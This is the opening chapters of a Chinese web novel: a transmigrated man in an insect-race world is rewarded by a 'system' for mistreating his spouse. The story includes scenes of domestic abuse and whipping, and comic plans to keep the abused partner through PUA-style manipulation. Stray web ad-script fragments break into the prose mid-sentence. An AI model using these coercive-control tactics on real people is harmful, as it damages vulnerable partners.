《虫族渣攻,但恋爱脑》 1. 从人渣开始征服世界 朗焰重重地喘着气。 就在刚才,一辆呼啸而过的大卡车从将他撞飞,巨大的冲击让他失去了意识。 现在,他的意识回笼。 他发现自己既不在医院也不在火葬场,而是全须全尾地坐在一张陌生的沙发里,眼前有一张茶几,和一个……跪在地上的银发男人。 明显异常的情况并没有让朗焰慌了手脚,他思索片刻,很快就明白了来龙去脉。 懂了,穿越是吧。 作为一个资深网文爱好者,这种情况根本他再熟悉不过了。 好好好,看了这么多年的穿越系统龙傲天爽文,这泼天的富贵终于是轮到了他。 下一步应该是系统出现并传输原主记忆了吧,来吧,快快快,他已经迫不及待要在异世界干出一番事业了! 朗焰一边在心中畅想未来,一边让目光悄悄地落在跪在地上的男人身上。 男人直挺挺地跪着,银白色的长发没过耳廓,挡住半张脸。 虽然朗焰看不清男人长得怎么样,但能看出他的身材很好,鼓起的肌肉将白色衬衣撑出漂亮的形状,仿佛一尊摆在画室的石膏像。 进入现代社会后,下跪这种礼仪早就没人用了,眼下莫名其妙见到一个大活人跪在自己面前,朗焰尴尬的同时在内心疯狂呐喊—— 系统呢,快出来救一下啊! 【亲爱的宿主你好,恭喜您穿书,我是您的虐心系统003……】 期待已久的电子音终于在脑海中响了起来,语调非常软萌。 与此同时,朗焰眼前出现了一个软乎乎糯叽叽的小光球,小光球漂浮在空中,显然正是朗焰一直期待的“系统”。 朗焰眼前一亮,刚想说点什么,余光撇到地上跪着的人,顿时不敢大动,只能捏起拳头,抵到唇边轻咳一声,用极低的声音囫囵道: “好的好的,我知道我穿书了,快跳过开场白,给我看原著!” 【抱歉宿主大人,原著全文兑换需要五百点虐心值,检测到您的虐心值不足,请宿主大人再接再厉哦。】 朗焰:“啊?” 震惊之下,朗焰发出的声音太大了,引得地上跪着的人抬起头来看了他一眼。 朗焰本就在偷偷观察男人,猝不及防之下直接看见了男人的正脸,本想慌慌张张地收回目光,却不料被男人的容貌惊得目瞪口呆,一时间从头到脚全都动弹不得,仿佛成了个木头人。 他活到这么大……还是第一次见到这么好看的人。 虽然留着及肩的长发,但男人身上没有半点柔美的因子,他的眉目如刀般锋利,纤长的白色睫毛在眼底投下一片厚重的阴影,即使是跪着,男人身上冷冽的气势也丝毫不减,既像是一柄随时都能出鞘的利剑,又像是油画里手持宝剑的圣骑士。 四目短暂地相接了片刻,男人低下了头。 比刚才更低。 朗焰好不容易才恢复了呼吸,重重地吐出一口浊气。 他一边捂着狂跳的小心脏平复心跳,一边怀疑眼前这个男人不是人类,而是西幻文学里的那些美到摄人心魄的幻想种,什么人鱼啊,吸血鬼啊,魅妖之类的…… 【亲爱的宿主大人,这里是虫族背景的世界,没有幻想种。】 朗焰迅速领悟到系统可以直接和他通过心灵感应沟通,于是在心中想道:【虫族?我看过星际虫族的文,虫族不都是反派吗,怎么我还穿成了个反派啊?】 【兑换基础世界背景需要一点虐心值,请问宿主是否兑换?】 朗焰:【兑换,赶紧兑换!】 【叮!兑换成功,虐心值5→4。】 【叮!世界背景已传送成功。】 一段文字内容缓缓出现在小光球上—— 虫星是一颗与蓝星高度相似的星球,生活在虫星的智慧生物被称为虫族,虫族社会中没有人类,只有外貌特征均与人类男性相似的雄虫、雌虫与亚雌,数量比例非常极端,接近1:20:20。 其中,雄虫身体孱弱,一般很少工作或是承担辅助类工作,但却因为数量稀少、以及可以让雌虫及亚雌生育后代而拥有极高的社会地位;雌虫的精神力和身体素质都很强,可以承担社会中最繁杂、最艰难的工作,但因长年饱受精神力狂躁症,平均寿命较短;亚雌的精神力相对稳定但身体素质较雌虫稍弱,是虫族社会的中坚力量。 看完了对虫族社会的描述,朗焰有些似懂非懂。 比起笼统模糊的世界背景,貌似他更需要知道的是他自己身份,以及眼前这个男人的身份。 而且……朗焰总觉得哪里不太对劲。 他一共才五点虐心值,花了珍贵的一点虐心值只换了这么几行字,他怕不是遇到奸商了吧? 【叮!查看身份信息需要一点虐心值,请问是否兑换?】 朗焰:【……换吧。】 【叮!兑换成功,虐心值4→3。】 【叮!身份信息已传送成功。】 小光球上出现了新的文字—— 【姓名:朗焰.赛尔特.奥斯顿菲斯 性别:雄虫 年龄:24 身体素质等级:d(有隐疾) 精神力等级:d 职业:无业 爱好:酗酒 雌君:无 雌侍:无 雌奴:荣魇 财产:负债30w星币】 文字内容之外,还附带几张原主的照片,原主不仅名字和朗焰相同,就连长相也非常接近。 朗焰:【……这就完了?】 003:【是呀~】 朗焰:【一点虐心值只有这点吗,这也太亏了,我能退款吗?】 003:【……】 003:【身份信息附赠雌奴的信息,就是宿主大大面前这个人、确切地说是这只雌虫哦。】 朗焰看了看跪着的男人,满目都是银发晕开的雪色。 那雪色太晃眼,晃得他头晕目眩。 于是他……又看了看。 再看了看。 003:【宿主大大?】 朗焰:【换。】 【叮!身份信息已传送,请注意查看。】 【姓名:荣魇.巴伦莱尔 性别:雌虫 年龄:28 身体素质等级:sss 精神力等级:sss 职业:无(停职中) 雄主:朗焰 财产:100w星币(包括房产)】 朗焰被一堆s亮瞎狗眼的同时,心中满是困惑。 如果他没理解错的话,“雌奴”和“雄主”对应的是虫族社会中的老婆和老公,也就是说,他和他面前这个男人,是已经结了婚的……夫夫? 朗焰赶紧向003确认:【这个男人是我老婆?我们是夫夫关系?】 003:【根据宿主大大原本世界的规则,您和荣魇确实是夫夫关系,但根据虫族社会的规则来说,唯有雌君才算是‘正妻’,雌奴的含义更接近小妾啦。】 朗焰吐槽道:【什么正妻小妾的,都什么年代了搞这一套,我可是坚定的一夫一妻制,你的意思是,我以后都得和男人搞基了?】 003:【是呀,怎么了?】 朗焰急了: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 【什么怎么了,我可是直男!】 003:【?】 漂浮在空中的小光球变得暗淡了一些。 003:【不可能吧,我们选宿主可都是经过精密的计算的,您应该不可能是直男才对。】 朗焰无语极了:【你们这个计算也太不靠谱了,我就是直男啊……算了算了,成大事者不拘小节,大不了我不结婚不恋爱,老老实实发展事业就行。】 003:【那可不行啊宿主大大,我可是虐心系统,您必须要扮演渣攻才能获取虐心值啊!】 朗焰惊呆了:【什么系统?虐心系统?】 他看过那么多草根崛起的系统流爽文,听过重生系统、逆袭系统、炼丹系统,等等等等各种系统,但确实是第一次听说虐心系统。 003:【是的宿主大大,作为虐心系统,当您扮演渣攻虐待婚姻对象时,我可以从您的婚姻对象身上吸收虐心值,虐心值是兑换系统道具的唯一货币,数量充足时可满足宿主大大的所有要求,包括但不限于回归现世、习得特技、治疗疾病等。】 朗焰咬了咬牙:【算了算了,人在屋檐下不得不低头,看在你救我一命的份上,搞基就搞基吧,不就是‘渣攻’吗,没问题,小事一桩。】 003:【哇哦,宿主大大您真是太棒啦,为宿主大大疯狂打call!】 朗焰:【别扯这些没用的,掏点货真价实的东西出来,你什么都不给,我怎么给你扮演‘渣攻’?起码给我传输一点原主的记忆吧?】 看过荣魇的身份信息后,朗焰困惑的地方其实并不在于男人和男人结婚。 虽然他自己是直男,但他周围有不少爱好同性的朋友,进入近代文明社会后,同性结婚早就合法了,和异性结婚是一种选择,和同性结婚同样是也是一种选择,没人会对此置喙。 朗焰不理解的地方是,为什么像荣魇这样优秀的人,会和原主这么废物的人结婚。 就算是搞基,也该有基本法吧? 原主的属性全是d,没有工作还热爱酗酒,身上甚至还有负债。 荣魇图原主什么呢? 003:【抱歉宿主大大,传输原主记忆需要500点虐心值,检测到您的虐心值不足,请宿主大人再接再厉哦。】 朗焰屈辱道:【有便宜的吗?】 003:【每兑换原主三日记忆,需要1点虐心值。】 朗焰眼前一亮:【换!换最近三天的!】 【叮!兑换成功,虐心值3→2。】 【叮!三日记忆已传输,请注意查收。】 朗焰眼前一黑,整个人陷入了柔软的沙发里。 原主全天都在酗酒,这三天完全是昏昏沉沉地过的,朗焰能接收到的记忆混沌不堪,只能通过片段式的内容推测到底都发生了些什么。 他看见原主拿起粗糙的蛇鞭,一鞭一鞭挥在洁白的脊背上;他听见耳边响起荣魇沉闷的喘气声,几下后没了动静,成了死一般的寂静;他感受到自己一张口就吐出污言秽语,对着荣魇极尽羞辱…… 朗焰睁开眼,满心满脸都是不可置信。 原主居然还是个打老婆的垃圾家暴男! 这种畜生放在他们现代社会可是要坐牢的! 他居然穿越到了一个人渣身上? 说好的征服世界呢,这是什么死亡开局啊? 朗焰急切地说道:【系统!快给我换个宿主,这个宿主是个什么玩意,也太垃圾了吧!】 003:【重新选择宿主需要五十万点虐心值,顺带一提,回归原本世界需要的虐心值只需要五万点哦。】 朗焰:【……】 2. 必须要做渣攻 朗焰看过那么多网文,主角从乞丐开始逆袭的他都见过不少,但是从打老婆的人渣开始逆袭的,他还真没怎么见过。 这真的是主角的待遇吗? 有没有可能……他穿的是个反派? 003:【提示:穿书者的命运与未来由宿主大大全权控制,有可能争霸天下也有可能露宿街头,希望宿主大大努力收集虐心值,走上虫生巅峰!】 朗焰有气无力道:【所以这个虐心值到底要怎么收集啊?】 003:【虐心值根据宿主的雌君、雌侍或是雌奴感到的虐心程度而定,每十点结算一次,只要宿主大大好好扮演‘渣攻’并虐待您的婚姻对象,就能顺利收集到虐心值,虐心值与系统的分成方式为雌君九一分成,雌侍三七分成,雌奴一九分成(宿主得一)。】 朗焰心里咯噔一跳:【等等,我看刚才的身份信息,我既没有雌君也没有雌侍,荣魇是我的雌奴?】 003:【哇哦,宿主大大说的一点都没错,宿主大大真是太聪明啦!】 朗焰:【别给我打马虎眼,这也就是说,我从荣魇这每搞到十点虐心值,就要分给你们九点?】 003:【是这样哒。】 朗焰:【我呸,奸商!我说我怎么开局虐心值只有5呢,本来应该是50的!】 003:【……】 一想到自己逝去的四十五点虐心值,朗焰就觉得心在滴血。 003:【可是宿主大大,一九分成是非常合理的,您是一只尊贵的雄虫,根据虫族的法律,雄虫可以娶三位雌侍和二十位以内的雌奴。】 朗焰:【你们这种资本家说的话,我是一个字都不会相信的!还二十个雌奴呢,我看就连荣魇一个都快要没了!】 荣魇就算再傻,也不至于傻到被家暴了这么久还准备跟着原主。 朗焰的视线缓缓落在桌上的文件上。 之前他都没注意到桌上还放着东西,现在他根据原主的记忆,知道这份文件应该是离婚协议。 很显然,荣魇已经不准备和他过了! 一切都已经晚了! 003识别到朗焰的内心想法,赶紧安慰道:【没事的宿主大大,就算没了荣魇,您也可以娶新的雌君、雌侍和雌奴呀。】 朗焰:【不存在的,就原主这种素质低、性格差、热爱酗酒、没有工作还负债的社会垃圾,根本不可能找到其他的老婆,能有荣魇一个就该烧高香了!】 听朗焰这么一说,003慌张了起来: 【啊,怎么会这样?主神大大明明说看在我第一次带宿主的份上已经帮我降低难度了的。】 【如果没有雌君、雌侍和雌奴的话,您就无法收集虐心值了,那可怎么办呀,怪不得前两任穿书者都失败了呢,原来要当渣攻这么难的一件事呀!】 白白胖胖的光球急得原地团团转。 朗焰无语极了:【你还问我怎么办,就你是第一次带宿主吗,我还是第一次穿书呢!】 一人一球四目相对,面面相觑。 003建议道:【要不……宿主大大您就好好从荣魇身上收集虐心值?成事不在量,也在质嘛。】 朗焰冷笑:【那也得先得把他变成雌君才行!我可不想和你们一九分成。】 003立刻道:【变更雌君的方法非常简单,宿主大大如果不会操作的话,可以购买日常生活小插件,只需要一点虐心值,就可以在我这里开通解答日常生活中所有小问题的权限,这可是新手福利,非常推荐兑换哒。】 朗焰:【换吧换吧。】 【叮!兑换成功,虐心值2→1。】 【叮!日常生活小插件已安装。】 003:【宿主大大,将雌奴变为雌君的操作如下:打开手环-进入个人身份页面-婚姻情况-申请变更,上述步骤操作完成后自动向对方手环发送申请变更雌君的备案,只要对方同意就可以完成变更啦。】 手环就套在朗焰手上,深蓝色的一条,乍一眼看上去就像是个镯子。 朗焰研究了一会儿,很快就明白了玩法。 手环的作用和朗焰熟悉的手机基本差不多,只不过体积更小,重量更轻,屏幕也是虚拟屏,满满的科技感。 搞清楚操作方法后,朗焰却并没有立刻申请变更雌君,而是这么问道: 【一定要走官方手续吗,我单方面把荣魇当作是我的雌君不行吗?】 003:【不行呀宿主大大,我们不搞唯心主义哒,宿主大大必须在手环上操作、走虫星官方的流程才行。】 朗焰揉了揉太阳穴:【你说的是轻巧,可就算操作了也是白操作,荣魇怎么可能同意呢,原主就是个人渣,他都已经决定和原主离婚了,怎么可能还愿意当雌君呢?你自己看看,他现在正跪着求原主在离婚协议上签字呢!都惨成什么样了,要不是你们非要我做任务,我可真想签了字放他一条生路!】 003委屈地说道:【宿主大大,渣的是原主,不是你呀,你可以对荣魇好一点,让他别离婚的嘛。】 朗焰:【你现在倒是知道要让我当好人了,你刚才还让我当渣攻呢!】 003弱弱道:【当渣攻才能收集虐心值……】 朗焰摆摆手:【算了算了,贼船都上了,我也只能试试了。】 说罢,朗焰整理了一下衣冠,从沙发上站了起来,几步走上前去,在荣魇面前投下一片巨大的阴影。 【还好我闲暇时间也看过几本和心理学有关的书,这波能不能成,就看荣魇好不好骗了。】 …… 荣魇已经不记得自己跪了多久。 他的膝盖已经跪得没有了知觉,可是一想到接下来要发生的事,他又觉得能跪着也是一件好事。 这已经是雄主这个月第三次向他提出离婚了。 他身份卑微,连雌侍都不是,只是个戴罪的雌奴,按理说根本无权拒绝雄主的离婚要求。 可是……他不想死。 他本就是全靠成为雄主的雌奴才留下一条命来,他犯下的大罪还没有过追溯期,一旦他被雄主厌弃,就只剩下死路一条。 他想活着,无论多么卑微,哪怕落进尘埃里,哪怕被碾碎在土里践踏成尘,他也还是想活着。 于是,他做出了雌奴绝对不能做的事——哀求雄主改变主意,再留他一段时间。 前两次他都成功了,雄主从他账上划走剩下的星币,又拿鞭子抽了他一顿后,就不再提离婚的事了。 但是这一次,这一次…… 他已经没有筹码了。 他所有的积蓄都消耗完了,唯一剩下的,大概也就是他们现在住的这套房子了。 荒星的房子本来就不值钱,而且房产早在结婚的时候就应该和其他财产一起献给雄主,只是当时雄 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 主没能看上,所以才没有过户罢了。 至于那条鞭子…… 那条他无比害怕、却无比希望能在此刻见到的鞭子,也并没有被雄主握在手中。 他知道,这一回,他已经没有任何办法了。 没有任何可以留下的办法,也没有任何可以博取同情的手段。 摆在他的面前的,只有一条路。 随着一声轻响,荣魇感受到雄主站起了身。 雄主站在他的面前,一言不发。 雄主的意思……他明白了。 荣魇拿起桌上的笔,目光空洞地在协议上签上了自己的名字。 协议和笔甚至还都是他准备的。 不管他内心有多不情愿,这些需要劳神耗力的事,也不能让雄主来做。 这是雄虫天生的权利,也是他们雌虫的……命。 墨色的印记在纸上晕开,像是泪滴一般。 突然,一道黑色笔迹形成长尾出现在纸上,一下子将纸划成两半—— 签字签到一半,纸被抽走了。 荣魇惊疑不定地抬起头,对上了朗焰的双眼。 “一天天的,就知道离婚离婚,谁家的日子不是凑合着过的,就你事多,我知道我也有错,这样吧,我保证以后不喝酒了,要是再沾一滴,我不仅离婚,我还净身出户,这总行了吧?” 荣魇:“……” 见荣魇的神色毫无动摇,如磐石般坚定不移,朗焰半点都不敢露怯,继续装腔作势道: “知道你心里委屈,行了,我以后会对你好的,你看看你,一遇到事就闹脾气,我不要你还有谁要你?” 朗焰这话说得心虚到极致,差点就没咬了舌头。 他曾听说过一种心理学疾病,叫做斯德哥尔摩综合征,指的是受虐的一方对施虐者产生的畸形依恋。 根据原主对荣魇做过的畜生事,以及荣魇对原主听之任之的态度来分析,他觉得荣魇很可能在原主长期的虐待下患上了斯德哥尔摩综合征。 原主越是虐待他,他就越离不开原主。 只不过,荣魇的斯德哥尔摩并没有那么严重,所以才会向原主提出离婚。 都已经发展到了离婚这一步,他就是跪下来求荣魇不要离婚恐怕都已经晚了。 他唯一能做的,其实只有赌一把荣魇在斯德哥尔摩的影响下对原主仍然具有服从性。 003也说了,他是穿书的,那么,原著到底是怎样的一本书呢? 虐心系统,扮演渣攻,有斯德哥尔摩症的荣魇……那么多息息相关的线索,只需要简单一想,就能将一切都联系起来。 原著中的主角就是渣攻,所以他必须要扮演渣攻,才能让剧情顺利推进。 而原著中的荣魇,应该就是渣攻手下的受害者,被渣攻不断洗脑,不断pua,最终迎来悲惨的结局。 荣魇的眼中慢慢涌现出绝望以外的神色,他对上朗焰的目光,颤抖着唇道:“雄主您在说什……” 朗焰见荣魇的态度发生了变化,立马觉得自己的猜测得到了印证。 霎时间,他胆气横生,一把撕了离婚协议,自信地说出二十一世纪最经典的渣男语录: “婚我是不会离的,现在社会压力大,你一天到晚待在家里也是胡思乱想,不去出去找个工作干着,钱少点没事,我会养你的。 荣魇:“……?” 3. 我真的是直男 说完这段话,朗焰心跳如鼓槌,整张脸都红透了。 没办法,他不是专业的演员,没法通过主观意识来控制身体的本能反应,更没法做到面不改色地说出这种畜生话、做出这种畜生事。 他的道德感发出爆鸣,他的良心刺痛不已。 被撕成碎片的离婚协议书化作漫天飞舞的纸屑,宛若六月飞雪,哀哀怨怨,如泣如诉,与他此刻的心情交相辉映。 他看见荣魇那双碧空般澄澈的蓝色眼眸中流露出困惑与无措,俊美的脸庞上满是无望与茫然,似乎在忧虑自己毫无希望的未来。 就像是一尾搁浅的人鱼,哪怕身后就是自由自在的海,他也无法回头,因为他的鱼尾早就被缠在名为斯德哥尔摩综合症的渔网里,动弹不得,血迹斑斑。 朗焰长长地叹了口气。 本来,荣魇说不定能在今天迎来自由的人生。 可惜荣魇实在是时运不济,偏偏在这个关头,原主被他顶号了。 为了避免没有虐心值而在异界寸步难行的极端情况,即使心中有愧,他也无论如何都不会签这份离婚协议。 朗焰心想:【唉,我真是太渣了,说不定我本质上比原主还要更渣呢。】 003:【真的吗宿主大大?】 朗焰:【当然了,你没听见我刚才都说了些什么吗,这可是渣男经典语录,放在我那个世界,起码要被挂在网上批斗三天三夜不可!】 003似懂非懂:【原来是这样呀,可是宿主大大,你都这么渣了,为什么荣魇的虐心值一点都没有涨呢?】 朗焰摇摇头,叹息道:【这么简单的道理你都不懂吗?荣魇对渣男的行为早就习惯了,原主都对他长期家暴了,他的基础虐心值也才五十,这说明什么?说明原主对待荣魇的方式,是涨不了虐心值的!】 003有点懂了,但又有点不懂:【可是,荣魇的虐心值不涨,我们不就收集不到虐心值了吗?】 朗焰:【你是不是说过,之前有两任穿书的,最后都失败了?】 003:【对呀宿主大大,您已经是第三任啦。】 朗焰:【那不就都对上了!你这活就是不好干啊,干不成是常态,干得成是意外!】 003:【啊,那可怎么办呀宿主大大?】 朗焰自信一笑:【遇上我算你运气好,像我这种博览群书的穿书者,你找一万个可能也就能我这一个,你这任务对于别的穿书者而言困难重重,但是对于我而言,只要努努力,还能能完成的。】 003:【呜呜呜,主神大大对我真是太好了,居然给了我这么厉害的宿主,呜呜呜!】 朗焰傲慢地点了点头。 如果说他原本的自信只有6到7,那么,在003的捧场下,他的自信瞬间就提升到了10,拉满。 自信拉满的朗焰看向已经被他彻底拿捏的荣魇,自信地开口道: “好了,别跪着了,你跪得不累我看得还累,起来吧,该干嘛干嘛去,离婚的事以后别再提了。” …… 荣魇缓缓起身,服从雄主的命令。 说是服从,实在是不贴切。 他跪在这里,本就是在哀求雄主不要离婚。 所以这应该算是……雄主垂怜他,满足了他的要求? 雄主刚才说了一些他实在是没能听明白的话,所以他没能接上话。 作为雄主的雌奴,真是失职透顶。 奇怪的是,雄主不仅没有因此责罚他,反而让他起身。 这种事在过去的几个月里,还从未发生过。 他丝毫不敢质疑雄主的变化,只能在感激雄主仁慈的同时,对听不懂雄主说话的自己感到万分羞愧。 不过,即使是这样笨拙、这样无能的他,也不会把雄主的仁慈当做是理所当然的事。 荣魇疲惫的目光小心翼翼地搜寻着可能成为“代价”的物品。 鞭子、酒瓶以及那把令他万分恐惧的刺骨刀,此刻都不在眼前。 难道是又有什么全新的花样吗? 他已经很久没用过精神药剂了,精神海随时都有可能崩溃,不知道这一回他还能不能受得住…… 【我靠,这人怎么这么高啊?】 之前荣魇跪着的时候朗焰还没意识到问题,等人站起来了,他发现荣魇居然比他整整高了半个头。 站直了的荣魇不仅身高惊人,体型也比朗焰大一号,整个人看上去充满力量、气势十足。 像是一只美丽的银色巨兽,引来无数觊觎的同时,又能随时咬断入侵者的喉咙。 巨兽身上的每一块肌肉都恰到好处,饱满的同时又不显得夸张,尤其是胸前的肌肉,充满着蓬勃的生命感,看上去甚至能夹断钢筋。 朗焰花了很大的力气才把注意力从荣魇胸口挪开。 他感到一种胆寒,那是来自内心深处的对力量的恐惧,但是与此同时,他还感到一种隐秘的征服欲,来自……某个说不清的地方。 朗焰不敢细看,干脆转身往原主的房间走去。 进了房间,一地的酒瓶让朗焰连连皱眉。 找了半天才找到了一个能落脚的地方,朗焰贴着床边边坐了下来,对003吐槽道: “003,你说说荣魇这身材,这身高,这颜值,到底是怎么看上原主这个弱鸡的?” 虽说原主和他有着同一张脸,好歹也能算是个帅哥,但原主的帅就是普通的小帅,和荣魇幻想种似的美貌比起来,根本就不够看的。 003:【宿主大大,前尘往事需要虐心值兑换,宿主大大不兑换的话我也一样看不到,不过宿主大大,根据世界背景来看,荣魇是雌虫,雌虫普遍身材高大、外貌昳丽,宿主大大是雄虫,雄虫的平均身高只有一米六,宿主大大有一米八,已经很不错啦。】 朗焰发出一声不屑的嗤笑:“虫族社会的单身率一定很高吧?” 003:【百分之八十左右,确实很高,宿主大大是怎么知道的?】 朗焰翻了个白眼:“废话,脑子正常的雌虫根本看不上这些废物雄虫,你以为像荣魇这样脑子不好的能有几个?原主能搭上这么一个,已经是八辈子修来的福气了!” 003紧张地说道:【宿主大大,您可千万要对荣魇好一点,不能让他离婚呀。】 朗焰趾高气昂道:“这还用你教?我告诉你,光对他好也不行,舔狗是不可能追得到男神的,想让男神不离不弃,必须得会PUA才行,你知道什么叫PUA吗,这种技能放在我们那儿也是非常高级的,只有极少数渣攻才会用。” 003:【宿主大大你真是太厉害啦!宿主大大您一定是你们的世界里最渣的渣攻吧!】 朗焰摆摆手:“倒也不必这么夸我,要不是为了收集虐心值,我也不想当渣攻。” 003:【真是难为您了宿主大大。】 朗焰:“知道就好,我都这么坦诚相待了,你也别和我藏着掩着了,说吧,除了给我提供外挂以外,虐心值对你系统是不是还有什么特殊的意义?” 003:【宿主大大真是太厉害了,这都被你发现了,我现在还是实习期的渣攻系统,当宿主大大兑换的虐心值点数超过五万点,我就能转正成正式系统啦。】 小光球雀跃地在原地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 跳来跳去。 朗焰了然道:“我明白了,怪不得回归原本世界需要的虐心值是五万,在我离开虫族世界的时候,你的任务就完成了。” 003:【没错,宿主大大真是太聪明啦!】 朗焰点点头:“我是个知恩图报的人,按理说,既然你救了我,让我重生,我是应该好好收集虐心值报答你。” 003:【宿主大大真是大好人!】 朗焰突然话锋一转: “但是,现在的情况你也看到了,想要搞定荣魇不是一件容易的事,逼得狠了,他就会离婚,逼得不够狠,虐心值就不涨。” “如果只是收集五百点虐心值,那努努力确实能做到,但是五万点虐心值就不一样了,这个数字靠哄骗是骗不出来的,只有当荣魇真的爱上我的时候,才会为我掉落五万点虐心值,而这是一件绝对不可能的事,荣魇绝对不可能爱上我。” 【啊,怎么会这样呀,可是宿主,您不是说您是全世界最好的‘渣攻’吗,您就不能想办法让荣魇爱上您吗?】 小光球一会儿变成方的,一会儿变成圆的,整只球都手足无措极了。 朗焰无奈道:“这其实还是你们的问题,荣魇是男的,而我是直男,我看他就和看兄弟一样,根本不会对他产生爱意,将心比心,我都不爱他,他又怎么可能爱我呢?” 003惊呆了:【这应该不可能啊宿主大大,我们选人真的很严格的,会不会是您对自己的性向有误会啊。】 朗焰匪夷所思道:“你在说什么,这怎么可能呢?我自己的性向我还能不知道吗?” 003问道:【那您是怎么知道自己是直男的啊?】 朗焰:“这还不简单吗,我从没对男人动过心。” 【啊……那,那宿主大大您对女人动过心吗?】 小光球有一些暗淡。 这个话题实在是说到了它的知识盲区,毕竟它们系统是没有心的,实在是不懂什么叫动心。 他们只能通过客观数据来判断一件事情的走向以及一个人的性格。 “虽然我也没有对女人动过心,但是这不重要。” 朗焰坦然地说道: “不说男人女人,我对荣魇确实是没有心动的感觉。” 003奇怪地问道:【可是宿主大大,您看到荣魇第一眼的时候心率是二百一,您确定您真的没有心动吗?】 “什么二百一,肯定是你搞错了!” 朗焰就像是一只被踩了尾巴的猫一样,从床上跳了起来。 003:【我是系统,经过严格的训练,在计算心率这件事上绝不会出错哒。】 朗焰双手在空中画圆,手舞足蹈且满脸通红地辩解道:“心率不能说明问题,我从小心脏不好,偶尔乱跳也、也很正常!” “而且动不动心和心跳是没关系的,主要是看下面的反应,我对荣魇不起反应,你你你你懂吗?” 【啊,宿主大大原来你说的是这个啊!】 小光球突然亮了起来,一闪一闪的,像是夜空中的星星一样。 【宿主大大您误会啦,您不是没反应,您其实是不行啦。】 朗焰一愣,明显没理解系统的意思:“什么不行?” 003调取朗焰的人物资料,对着虚空中出现的人物信息面板解释道: 【宿主大大您看这里,这是您的身份信息,‘身体素质等级:d’后面有个括号,写着‘有隐疾’,您身体的隐疾,指的就是那里不行呀。】 【您不是对荣魇没反应,您对任何虫都不会有反应哒~】 【您是个养胃啦~】 4. 必须努力搞虐心值 沉默。 持续沉默。 足足过了半分钟,朗焰才回过了神。 他对着003呸了一声,气急败坏道:“你才养胃!你全家都养胃,老子那里正常得很!” 003赶紧解释道:【宿主大大您千万不要误会,您原本的身体确实是正常的,可这不是您的身体,而是原主的身体,原主是个养胃虫,所以您现在也……】 “没必要再说了,你给我送回去吧,我不干了,我宁可被大卡车撞死都不遭这罪!” 朗焰满脸写着不堪受辱与宁死不屈。 003:【!!!】 003:【宿主大大您先冷静一下,养胃这种小问题是可以通过虐心值治好的,或者您也可以用虐心值换回您原本的身体……】 朗焰咬牙切齿道:“在这儿等着我呢,用养胃来逼我去搞虐心值是吧?” 作为一个穿越者,朗焰和普通的穿越者还不太一样。 他从小父母双亡,没有兄弟姐妹,仅有的两个好朋友在不久前因为车祸去世了,他也因此陷入了郁郁寡欢之中,很长一段时间都没能走出来。 可以说,他对现世几乎没有留恋,比起回到令他难过的现世,他其实更想留在异界。 以及,虽然他嘴上说着想要征服世界,但他并没有那么强的事业心,如果非要将他人伤害到遍体鳞伤才能功成名就,这种染血的功名他也不想要。 拿着最基础的虐心值,普普通通地过完一生,他其实很愿意接受这样的结果。 ——他原本是这么想的。 但是现在,情况显然不同了。 谁愿意做一个养胃男? 反正他不愿意,他接受不了。 让他一辈子养胃,还不如直接杀了他算了。 003颤颤巍巍道:【我没有逼迫宿主大大的意思哒,一切都由宿主大大自己决定。】 朗焰冷笑一声:“说吧,要多少虐心值才能换回我原本的身体?” 003:【更换身体是新手福利,只需要五百点虐心值就可以,更换身体后宿主的身体素质与精神力等级将重新判定,或者宿主大大可以选择另一个方法,用一千点虐心值将原主的身体素质提升到c,这样就能顺便治好原主的隐疾啦。】 说完后上述内容后,003小心翼翼地监测着朗焰的心跳和血压,生怕朗焰一怒之下做出什么不理智的事。 “五百虐心值,你怎么不去抢!” 朗焰恶狠狠地瞪了小光球一眼。 003弱弱道:【已经很便宜了,宿主大大,这可是新手福利呀。】 朗焰骂骂咧咧地问道:“我手上还剩多少虐心值?” 003小声道:【还剩一点。】 朗焰翻了个白眼,自暴自弃道:“有没有虫星的菜谱可以换,有的话就给我换了吧,先说好啊,要那种直接进入脑子的知识,PDF文件我可不要。” 003:【收到,宿主大大。】 【叮!兑换成功,虐心值1→0。】 【叮!虫星菜谱X50已传输,请注意查收。】 朗焰空空如也的脑海中很快就多出了五十本菜谱。 迅速审阅一番后,朗焰发现虫星虽然食材丰富,但菜系非常简陋,烹饪方式偏向于现代的“白人饭”,以好做、难吃为主要特点。 这样的恶劣环境,正适合他这个美食爱好者秀上一手。 003好奇地问道:【宿主大大,您要菜谱干什么呀?】 “还能干什么,当然是去讨好荣魇了!” 朗焰站起身,径直往房间外走去: “我们那儿有句话,叫做想要抓住一个人男人的心,就要先抓住他的胃,我准备亲自下厨,给荣魇做一顿丰盛的晚餐。” 003不解道:【可是宿主大大,虐心值只有在荣魇因为您而痛苦难过的时候才会上涨,您对他好,是不会涨虐心值的。】 朗焰鄙夷地说道:“你懂什么,我得先对他好,这样他才会在我对他不好的时候感到痛苦和难过,才会涨虐心值,要是像原主那样天天虐待他,让他对虐待习以为然,那不就一点虐心值都不会涨了吗?” 003敬佩地说道:【原来是这样啊宿主大大,您真是太厉害了。】 朗焰在003的夸赞中挺直了腰板。 自信爆棚的朗焰突然想到了什么,拿起手环操作了一通。 003不解地问道:【您为什么要申请变更雌君呀,您刚才您不是说荣魇不会通过您的申请,所以申请了也是白申请吗?】 朗焰呵呵一笑:“他同不同意我都得给他发,本来虐心值就不好收集,再和你们一九分成,我怕不是这辈子都别想治好养胃了。” 003:【……】 小光球心虚地往一边飘了飘,仿佛一团可怜弱小又无依无靠的浮云。 朗焰道:“我刚刚看过了,更换雌君的申请得从政府部门这儿转一手才会传给荣魇,政府的效率肯定不会这么快,我赶紧把饭做了,等申请传到荣魇那儿的时候说不定正好赶上他吃完饭,人在吃饱的时候脑部供血降低,智商也会跟着下降,说不定他脑子一热就给同意了呢。” 003:【哇哦,宿主大大您可真是太聪明啦!计划通!】 “那是,也不看看我是谁……” 朗焰一边说着,一边动作轻微地推开门,视线到处乱瞟,试图锁定荣魇的位置。 他计划先把荣魇打发出门再开始下厨,毕竟这里是虫星,厨具和食材都和蓝星有一点差别,虽然他对自己的厨艺很自信,但这初来乍到的……实在是不能保证第一次就能成功。 